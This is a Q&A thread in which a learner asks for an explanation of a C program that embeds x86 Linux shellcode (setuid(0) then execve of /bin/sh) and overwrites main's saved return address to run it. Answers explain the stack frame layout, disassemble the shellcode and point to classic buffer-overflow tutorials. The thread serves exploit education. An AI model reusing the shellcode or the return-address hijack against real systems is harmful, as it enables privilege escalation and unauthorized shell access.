can anyone explain this code to me?
Asked Answered
L

7

16

WARNING: This is an exploit. Do not execute this code.

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}

can anyone give me a better explanation ?

Lapotin answered 24/4, 2010 at 19:36 Comment(3)
I second what 0xA3 said. This seems very suspicious. @Abed, if you found this somewhere on your machine you should probably check carefully to see if you've been owned.Master
thnx Josh, I know it is an exploit, I am studying a book called Gray hat hacking,2nd edition, so don't worry I want to be a gray hat :)Lapotin
@0xA3 why you don't disassemble that code before you say that. it's just giving a shellAnnouncer
W
25

Apparently, this code attempts to change the stack so that when the main function returns, program execution does not return regularly into the runtime library (which would normally terminate the program), but would jump instead into the code saved in the shellcode array.

1) int *ret;

defines a variable on the stack, just beneath the main function's arguments.

2) ret = (int *)&ret + 2;

lets the ret variable point to a int * that is placed two ints above ret on the stack. Supposedly that's where the return address is located where the program will continue when main returns.

2) (*ret) = (int)shellcode;

The return address is set to the address of the shellcode array's contents, so that shellcode's contents will be executed when main returns.


shellcode seemingly contains machine instructions that possibly do a system call to launch /bin/sh. I could be wrong on this as I didn't actually disassemble shellcode.


P.S.: This code is machine- and compiler-dependent and will possibly not work on all platforms.


Reply to your second question:

and what happens if I use ret=(int)&ret +2 and why did we add 2? why not 3 or 4??? and I think that int is 4 bytes so 2 will be 8bytes no?

ret is declared as an int*, therefore assigning an int (such as (int)&ret) to it would be an error. As to why 2 is added and not any other number: apparently because this code assumes that the return address will lie at that location on the stack. Consider the following:

  • This code assumes that the call stack grows downward when something is pushed on it (as it indeed does e.g. with Intel processors). That is the reason why a number is added and not subtracted: the return address lies at a higher memory address than automatic (local) variables (such as ret).

  • From what I remember from my Intel assembly days, a C function is often called like this: First, all arguments are pushed onto the stack in reverse order (right to left). Then, the function is called. The return address is thus pushed on the stack. Then, a new stack frame is set up, which includes pushing the ebp register onto the stack. Then, local variables are set up on the stack beneath all that has been pushed onto it up to this point.

Now I assume the following stack layout for your program:

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

At the bottom lies ret (which is a 32-bit integer). Above it is the saved ebp register (which is also 32 bits wide). Above that is the 32-bit return address. (Above that would be main's arguments -- argc and argv -- but these aren't important here.) When the function executes, the stack pointer points at ret. The return address lies 64 bits "above" ret, which corresponds to the + 2 in

ret = (int*)&ret + 2; 

It is + 2 because ret is a int*, and an int is 32 bit, therefore adding 2 means setting it to a memory location 2 × 32 bits (=64 bits) above (int*)&ret... which would be the return address' location, if all the assumptions in the above paragraph are correct.


Excursion: Let me demonstrate in Intel assembly language how a C function might be called (if I remember correctly -- I'm no guru on this topic so I might be wrong):

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8

Inside main, the following might happen:

// create a new stack frame and make room for local variables:
push  ebp
mov   ebp, esp
sub   esp, 4

// access return address:
mov   edi, ss:[ebp+4]

// access argument 'argc'
mov   eax, ss:[ebp+8]

// access argument 'argv'
mov   ebx, ss:[ebp+12]

// access local variable 'ret'
mov   edx, ss:[ebp-4]

...

// restore stack frame and return to caller (by popping the return address)
mov   esp, ebp
pop   ebp
retf

See also: Description of the procedure call sequence in C for another explanation of this topic.

Wasteland answered 24/4, 2010 at 19:42 Comment(5)
thnx man it is very good and I get but one question when you said in 2) int * that is placed, you mean the whole statement which is (int *)&ret ????Lapotin
and what happens if I use ret=(int)&ret +2 and why did we add 2? why not 3 or 4??? and I think that int is 4 bytes so 2 will be 8bytes no?Lapotin
@kmitnick - you may additionally find my answer to another question useful in understanding why 2 was added - #2544225Coalition
thnx stakx, it is very good explanation, +A answer, but one last thing, since ret is a pointer and if we write ret=&ret + 2 then we will get same thing or no? i understand it as you said let ret points to the address of ret + 2 , so is (int *) followed by an address mean that let ret points to that address or no??Lapotin
@kmitnick: Not sure if I understand your question correctly. &ret would return the memory location of ret as a void*. In order to be able to "shift" the pointer to a memory location 8 bytes away from the address of ret, it must be converted to an int*. The +2 then doesn't add the value of 2 to ret, but 2*sizeof(int).Wasteland
A
19

The actual shellcode is:

(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)

This corresponds to roughly

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
Affinal answered 24/4, 2010 at 20:23 Comment(3)
thnx Chris, Really Appreciate it:)Lapotin
Did you have some automated way of converting the shellcode into ASM without manually looking it up?Expeditious
This was produced by compiling the example, running gdb on the resulting executable and using x /25i &shellcode to disassemble itAffinal
E
15

That string is from an old document on buffer overflows, and will execute /bin/sh. Since it's malicious code (well, when paired with a buffer exploit) - you should really include it's origin next time.

From that same document, how to code stack based exploits :

/* the shellcode is hex for: */
      #include <stdio.h>
       main() { 
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
          } 

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

The code you included causes the contents of shellcode[] to be executed, running execve, and providing access to the shell. And the term Shellcode? From Wikipedia :

In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine. Shellcode is commonly written in machine code, but any piece of code that performs a similar task can be called shellcode.

Expeditious answered 24/4, 2010 at 19:39 Comment(0)
C
5

Without looking up all the actual opcodes to confirm, the shellcode array contains the machine code necessary to exec /bin/sh. This shellcode is machine code carefully constructed to perform the desired operation on a specific target platform and not to contain any null bytes.

The code in main() is changing the return address and the flow of execution in order to cause the program to spawn a shell by having the instructions in the shellcode array executed.

See Smashing The Stack For Fun And Profit for a description on how shellcode such as this can be created and how it might be used.

Coalition answered 24/4, 2010 at 19:41 Comment(0)
K
0

The string contains a series of bytes represented in hexadecimal.

The bytes encode a series of instructions for a particular processor on a particular platform — hopefully, yours. (Edit: if it's malware, hopefully not yours!)

The variable is defined just to get a handle to the stack. A bookmark, if you will. Then pointer arithmetic is used, again platform-dependent, to manipulate the state of the program to cause the processor to jump to and execute the bytes in the string.

Kilocycle answered 24/4, 2010 at 19:41 Comment(0)
R
0

Each \xXX is a hexadecimal number. One, two or three of such numbers together form an op-code (google for it). Together it forms assembly which can be executed by the machine more or less directly. And this code tries to execute the shellcode.

I think the shellcode tries to spawn a shell.

Rubdown answered 24/4, 2010 at 19:43 Comment(0)
F
0

This is just spawn /bin/sh, for example in C like execve("/bin/sh", NULL, NULL);

Fervor answered 27/8, 2020 at 2:22 Comment(0)

© 2022 - 2024 — McMap. All rights reserved.